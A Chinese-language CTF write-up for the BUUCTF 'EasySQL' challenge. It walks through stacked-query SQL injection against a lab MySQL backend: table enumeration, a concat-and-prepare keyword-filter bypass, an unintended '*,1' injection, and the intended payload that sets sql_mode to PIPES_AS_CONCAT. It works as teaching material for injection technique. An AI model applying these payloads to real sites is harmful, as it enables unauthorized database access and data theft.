mysql中sql_mode内的pipes_as_concat
前言
- 环境buuctf中[SUCTF 2019]EasySQL
- pipes_as_concat
- 思路
- 参考wp
思路
先判断是数字型注入还是字符型注入,1'和1'-- +之后回显不正常,基本可以判定是数字型注入,然后fuzz测试发现过滤了挺多字符,如Flag,from,prepare,or,and
但是没有过滤分号(😉,试着用堆叠注入
1;show tables;#
回显表Flag
然后用
1;select * from Flag;#
回显nonono
这里存在过滤,我一直想着怎样绕过关键字的书写,如:Flag和from,然后想到了预编译
set @sql=concat('select * fr','om Fl','ag');
prepare aaa from @sql;
execute aaa;
没想到这里还过滤了prepare,好吧,没办法了看了wp
非预期解
根据回显输入除了0以外的数字返回1,输入0和字母时回显0,大佬可以猜出后台执行方式
select $_POST[query]||flag from Flag
构造*,1
得到flag
预期解
pipes_as_concat
补充系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
select sql_mode;
select @@global.sql_mode;
select @@session.sql_mode;
payload:
1;set sql_mode=pipes_as_concat;select 1
得到flag